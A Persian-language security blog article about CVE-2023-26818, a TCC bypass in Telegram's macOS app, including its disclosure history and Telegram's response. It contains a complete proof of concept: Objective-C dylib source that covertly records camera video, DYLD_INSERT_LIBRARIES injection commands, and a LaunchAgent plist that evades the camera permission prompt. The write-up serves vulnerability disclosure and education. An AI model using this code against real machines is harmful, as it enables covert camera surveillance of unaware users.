Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات

آسیب پذیری CVE-2023-26818 در نسخه مک، تلگرام

On اردیبهشت 28, 1402اردیبهشت 29, 1402
seyyid
Share
زمان مطالعه: 7 دقیقه

محقق امنیتی گوگل ، Dan Revah ، یه آسیب پذیری با شناسه CVE-2023-26818 در نسخه macOS تلگرام کشف و گزارش کرده که امکان دور زدن TCC رو میده.

در مقاله ای که ایشون منتشر کرده با تزریق Dynamic Library (Dylib ) امکان دسترسی به دوربین دستگاه بدون نیاز به اجازه کاربر میگیره و به مدت 3 ثانیه ویدیو رکورد میکنه و دخیره میکنه.

نکته ای که وجود داره اینه که در macOS حتی کاربر RooT هم دسترسی به میکروفن و ضبط تصویر و … رو نداره ،مگه اینکه برنامه در طول دسترسی اولیه به برنامه، رضایت مستقیم کاربر رو دریافت کرده باشه. (یا بصورت دستی اعمال بشه).

 

مفاهیم پایه :

برای درک آسیب پذیری و نحوه اکسپلویت اون، نیاز هستش که در ابتدا یسری مفاهیم رو بدونیم.

  • Transparency, Consent, and Control (TCC) : یه مکانیزمی هستش که دسترسی به برخی مناطق خاص که بعنوان privacy-protected (محافظت از حریم خصوصی) مشخص شدن رو مدیریت میکنه. مجوز دسترسی به این مناطق، با بدست آوردن رضایت از کاربر یا شناسایی هدف کاربر از طریق یه اقدام خاص فعال میشه. مثلا وقتی شما برنامه ای رو نصب میکنید یسری مجوزها رو تایید میکنید . گاهی اوقات هم مثلا میخوایین استوری بزارید و دوربین فعال میشه.
  • مجوز (Entitlement) :مواردی هستن که به یه باینری خاص بمنظور کسب امتیازات خاص داده میشه. مثلا، برای اینکه یه برنامه کاربردی به میکروفون دسترسی پیدا کنه، باید با مجوز مربوطه امضا بشه و پس از دسترسی اولیه برنامه به میکروفون، از کاربر اجازه دریافت کنه. اینجا میتونید در این خصوص اطلاعات بیشتری کسب کنید.
  • Hardened Runtime :بهمراه System Integrity Protection (SIP) ، از یکپارچگی زمان اجرای نرم افزار ،از طریق جلوگیری از اجرای برخی اکسپلویتها، مانند تزریق code injection ، dylib ، دستکاری فضای حافظه پردازش دیگه، محافظت میکنه.بطور کلی ،Hardened Runtime برنامه ها رو امن تر میکنه. در IOS برای آپلود یه برنامه در App Store ، اون برنامه باید با مجوز Hardened Runtime امضاء شده باشه. البته این قضیه در macOS نیاز نیست.

 

 

آسیب پذیری و اکسپلویت:

توسعه دهندگان میتونن برخی اقدامات امنیتی رو با استفاده از یسری مجوزهای خاص که باعث کاهش امنیت در برخی فضاها میشه ،کاهش بدن. مثلا با مجوز com.apple.security.cs.allow-dyld-environment-variables ، یه باینری میتونه dylib injection رو از طریق یه متغیر محیطی دریافت کنه. البته اگه باینری hardened شده باشه، نمیتونیم کتابخونه ای که توسط اون تیم امضاء نشده رو تزریق کنیم. خب بنابراین ما نیاز داریم از یه مجوز دیگه مثله com.apple.security.cs.disable-library-validation برای لوود کتابخونه مدنظرمون که توسط همون تیم امضاء نشده باشه، استفاده کنیم. این مورد دومی بیشتر برای برنامه هایی کاربرد داره که امکان اضافه کردن پلاگین یا توسعه رو به افراد دیگه میدن.

DYLD_INSERT_LIBRARIES یه متغیر محیطی هستش که حاوی لیستی از کتابخونه‌هایی هستش که قبل از راه‌اندازی برنامه لوود میشن. بنابراین اگه موردی رو به این لیست  تزریق کنیم، میتونیم باعث لوود اون کتابخونه بشیم.

ما میتونیم ،تزریق از طریق متغیر محیطی در چندین مورد استفاده کنیم :

  • وقتی برنامه بعنوان Hardened Runtime تعریف نشده و در نتیجه امکان تزریق Dylib  از طریق متغیر محیطی فراهم هستش.
  • وقتی برنامه بعنوان Hardened Runtime تعریف شده اما برنامه نویسی یسری مجوز هم تعریف کرده :
    • Disable-library-validation که امکان استفاده از هر Dylib رو بدون اینکه بررسی بشه کتابخونه یا فایل توسط کی امضاء شده رو به ما میده. این مجوز اغلب در برنامه هایی که نیاز به توسعه افزونه توسط جامعه رو دارن استفاده میشه.
    • com.apple.security.cs.allow-dyld-environment-variables محدودیتهای Hardened Runtime رو کم میکنه و همچنین امکان تزریق با استفاده از DYLD_INSERT_LIBRARIES رو فراهم میکنه.

پس بخواییم تا اینجا یه خلاصه داشته باشیم، اینجوریه که ما در ابتدا برنامه رو بررسی میکنیم ببینیم که آیا Hardened Runtime فعاله یا نه؟ اگه نبود که دستمون بازه و ما میتونیم Dylib خودمون رو از طریق متغیر محیطی به برنامه تزریق کنیم. اما اگه فعال بود باید ببینیم که آیا برنامه نویس مجوزی رو اضافه کرده که امکان سوء استفاده رو به ما بده یا نه. دو تا مجوز هست که اینجا به درد ما میخوره : یکی Disable-library-validatio که امکان لوود dylib دلخواه میده. دومی allow-dyld-environment-variables که امکان تزریق از طریق متغیر محیطی DYLD_INSERT_LIBRARIES رو میده.

برای بررسی امضاء و مجوزهای تلگرام در MacOS اونو از اپ استور دانلود میکنیم و با استفاده از دستور codesign این موارد بررسی میکنیم :

 

هک تلگرام

 

همونطور که مشاهده میکنید، تلگرام ، hardened نشده، چون اون قسمتی که هایلایت شده عبارت None رو داره. این یعنی این که تلگرام نسخه ای که در اپ استور قرار داده رو hardened نکرده و ما میتونیم از DYLD_INSERT_LIBRARIES بدون در نظر گرفتن مجوزهای موجود (در شکل بالا بصورت XML هستش) استفاده کنیم.

برای تزریق dylib در ابتدا ما باید یه dylib در Objective-C ایجاد کنیم. بنابراین میخواییم که یه dylib بنویسیم که از دوربین فیلم بگیره و در یه فایلی ذخیره کنه. اما در ابتدا برای تست، صرفا میخواییم یه dylib داشته باشیم که اگه بصورت موفقیت آمیز لوود بشه، یه پیامی رو برای ما روی صفحه چاپ کنه.

یه فایل بنام telegram.m ایجاد میکینم و کد زیر رو توش میریزم:

 

Objective-C
1
2
3
4
5
6
#import <Foundation/Foundation.h>
 
attribute((constructor))
static void telegram(int argc, const char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[0]);
}

 

کد بالا یه پیامی رو موقع لوود dylib چاپ میکنه. برای اینکه مشخص کنیم، dylib ما قبل از اجرای تابع اصلی برنامه ، اجرا بشه ، از attribute((constructor)) استفاده شده. یعنی تابع telegram ما زودتر از تابع اصلی برنامه تلگرام اجرا میشه.

کتابخونه رو با استفاده از gcc کامپایل میکنیم :

 

1
$ gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib

 

خب حالا میتونیم این کتابخونه ایجاد شده رو با استفاده از متغیر محیطی DYLD_INSERT_LIBRARIES لوود کنیم :

 

1
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram

 

خب ، اگه همه موارد درست باشه، پیام زیر دریافت میکنید :

 

1
[+] Dynamic library loaded into /Applications/Telegram.app/Contents/MacOS/Telegram

 

اگه همین کتابخونه رو در یه برنامه دیگه ای مانند Safari بخواییم لوود کنیم :

 

1
DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Safari.app/Contents/MacOS/Safari

 

پیام بالا رو دیگه نمی گیریم، چون اگه Safari رو با دستور Codesign بررسی کنیم ، خروجی مشابه زیر رو داریم که نشون میده باینری اون hardened شده:

 

1
2
3
4
5
6
7
8
9
Executable=/Applications/Safari.app/Contents/MacOS/Safari
Identifier=com.apple.Safari
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20100 size=321 flags=0x2000(library-validation) hashes=3+5 location=embedded
Signature size=4547
Info.plist entries=41
TeamIdentifier=not set
Sealed Resources version=2 rules=13 files=2227
Internal requirements count=1 size=64

 

خب اگه تا اینجا همه چیز خوب پیش رفته باشه، نوبت نوشتن کد اصلی ما هستش. ما میخواییم به مدت سه ثانیه از دوربین فیلم بگیریم و اونو ذخیره کنیم. برای این کار به فایل telegram.m خودمون برمیگیردیم و کد زیر توش قرار میدیم :

 

Objective-C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
 
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
 
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
 
- (void)startRecording;
- (void)stopRecording;
 
@end
 
@implementation VideoRecorder
 
- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}
 
- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
 
    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
 
    if (error) {
        NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
        return;
    }
 
    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }
 
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
 
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}
 
- (void)startRecording {
    [self.captureSession startRunning];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.mov"];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"Recording started");
}
 
- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"Recording stopped");
}
 
#pragma mark - AVCaptureFileOutputRecordingDelegate
 
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
    }
}
 
@end
 
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
 
    [videoRecorder startRecording];
    [NSThread sleepForTimeInterval:3.0];
    [videoRecorder stopRecording];
 
    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

 

و دورباره با GCC کامپایلش میکنیم . با توجه به اینکه از Foundation و AVFoundation در کدومون استفاده کردیم، موقع کامپایل اینا رو هم به GCC میدیم :

 

1
gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o telegram.dylib

 

و در نهایت به همون روش قبلی ، dylib رو با استفاده از متغیر محیطی DYLD_INSERT_LIBRARIES به تلگرام تزریق میکنیم :

 

1
$ DYLD_INSERT_LIBRARIES=telegram.dylib /Applications/Telegram.app/Contents/MacOS/Telegram

 

اگه همه چیز اوکی باشه، پیام زیر رو دریافت میکنیم :

 

1
"Terminal" would like to access the camera.

 

پیام بالا نشون میده که برنامه Terminal.app به دوربین دسترسی داره. در macOS وقتی یه برنامه رو از طریق ترمینال اجرا میکنیم، برنامه ویژگی های سندباکس اون رو به ارث میبره. در نتیجه برنامه ترمینال ، دسترسی ما رو به دوربین محدود میکنه.

خب حالا باید چیکار کنیم؟ باید این سندباکس رو هم دور بزنیم. برای اینکار باید برنامه رو به یه روش دیگه ای اجرا کنیم. یعنی به جای استفاده از ترمینال از یه برنامه دیگه ای مثله LaunchAgents استفاده کنیم . LaunchAgents امکان اجرای پورسس در پس زمینه و بصورت زمانبندی شده رو میده.

برای ایجاد یه LaunchAgent جدید، یه فایل بنام com.telegram.launcher.plist در دایرکتوری ~/Library/LaunchAgents ایجاد میکنیم . LaunchAgent  رو بصورت XML تعریف می کنیم و DYLD_INSERT_LIBRARIES رو بصورت زیر توش تعریف میکنیم :

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.telegram.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>EnvironmentVariables</key>
        <dict>
          <key>DYLD_INSERT_LIBRARIES</key>
          <string>/tmp/telegram.dylib</string>
        </dict>
        <key>ProgramArguments</key>
        <array>
  <string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
        </array>
        <key>StandardOutPath</key>
        <string>/tmp/telegram.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/telegram.log</string>
</dict>
</plist>

 

حالا LaunchAgent  رو اجرا میکنیم :

 

1
$ launchctl load com.telegram.launcher.plist

 

با توجه به اینکه تلگرام با یسری ویژگی سندباکسی (Sandbox profile) تعریف شده، بنابراین فایل ما هم براساس این تعاریف ذخیره میشه. برای درک ویژگی های سندباکس هم میتونید اینجا برای تلگرام رو مشاهده کنید و اینجا هم این تعاریف رو برای فایرفاکس و اسکایپ مشاهده کنید. اگه /tmp/telegram.logs رو بررسی کنیم، لاگ و محل ذخیره رو مشاهده میکنیم :

 

1
2
3
4
5
$ cat /tmp/telegram.log
2023-05-15 12:28:49.691 Telegram[84946:735528] Recording started
2023-05-15 12:28:52.808 Telegram[84946:735528] Recording stopped
2023-05-15 12:28:52.814 Telegram[84946:735528] Recording finished successfully.
Saved to /var/folders/0k/f6bdvnb52kb1wqkq2qgd07nh00mkw1/T/ru.keepcoder.Telegram/recording.mov

 

خب این نشون میده که ما بطور موفقیت آمیز تونستیم Dylib خودمون رو تزریق کنیم ، بدون در نظر گرفتن مجوزهای موجود در تلگرام و از دوربین کاربر ، بدون اینکه متوجه بشه، تصویر بگیریم.

چیزی که جالبه ، به نظر میشه، این روش رو روی برنامه های دیگه هم تست کرد و حتی تا حدودی خودکارش کرد تا روی طیف وسیعی از برنامه ها بررسی بشه.

 

تلگرام زیر بار نرفت …

این آسیب پذیری علاوه بر اینکه یه نقص امنیتی هستش، به دلیل بی توجهی تلگرام نسبت به آسیب پذیری هم سر و صدا داشته.

محقق، آسیب پذیری رو در 2 فوریه 2023 ، 13 بهمن 1401، کشف و به تیم امنیتی تلگرام گزارش کرده. اما بعد از مکاتبات زیاد بی نتیجه،  نهایتا در 15 مه 2023 ، 25 اردیبهشت 1402، این گزارش منتشر کرده.

تیم RestorePrivacy با روابط عمومی تلگرام تماس گرفته و در خصوص آسیب پذیری و رفع اون ازشون سوال پرسیده. در نهایت یک روز بعد از انتشار گزارش، تلگرام گفته که این آسیب پذیری کاربران رو بطور پیش فرض هدف قرار نمیده. کاربر باید مثلا یه بدافزاری رو روی سیستمش نصب کنه تا اکسپلویت بشه. این مسئله بیشتر موضوع دور زدن مجوزهای اپل هستش تا اینکه مرتبط با تلگرام باشه. چون مهاجم میتونه با این روش ، برنامه هایه دیگرو هم تارگت کنه.  هدف کلی آسیب پذیری بودن مجوز و سندباکس اپله.

تلگرام همچنین اعلام کرده که با همه این موارد، یه نسخه اصلاحیه برای رفع این آسیب پذیری هم منتشر میکنه.

 

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویت مقالاتIn codesign , Hardened Runtime , LaunchAgent , macOS , Objective-C , SIP , TCC , اپل , اکسپلویت تلگرام , تلگرام , گوگل

راهبری نوشته

اصلاح 5 آسیب پذیری در هسته وردپرس
سیستم جدید رتبه بندی گزارشات آسیب پذیری گوگل

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

بایگانی‌ها

  • می 2025
  • آوریل 2025
  • مارس 2025
  • فوریه 2025
  • ژانویه 2025
  • دسامبر 2024
  • نوامبر 2024
  • اکتبر 2024
  • سپتامبر 2024
  • آگوست 2024
  • جولای 2024
  • ژوئن 2024
  • می 2024
  • آوریل 2024
  • مارس 2024
  • فوریه 2024
  • ژانویه 2024
  • دسامبر 2023
  • نوامبر 2023
  • اکتبر 2023
  • سپتامبر 2023
  • آگوست 2023
  • جولای 2023
  • ژوئن 2023
  • می 2023
  • آوریل 2023
  • مارس 2023
  • فوریه 2023
  • ژانویه 2023
  • دسامبر 2022

پست های مرتبط

  • آسیب پذیری امنیتی
  • اخبار
  • بازیگران تهدید
seyyid
On اردیبهشت 16, 1402اردیبهشت 17, 1402

بروزرسانی ماه مه 2023 اندروید

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • مقالات
seyyid
On دی 2, 1401تیر 30, 1403

بررسی Patch Tuesday مایکروسافت برای آگوست 2022 (مرداد 1401)

  • آسیب پذیری امنیتی
  • اخبار
  • مقالات
seyyid
On خرداد 19, 1403

بررسی هفتگی آسیب پذیری های منتشر شده در ZDI – (از 12 تا 18 خرداد)

  • اخبار
seyyid
On بهمن 24, 1401شهریور 10, 1403

سایت Z-Library به اینترنت برگشت

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404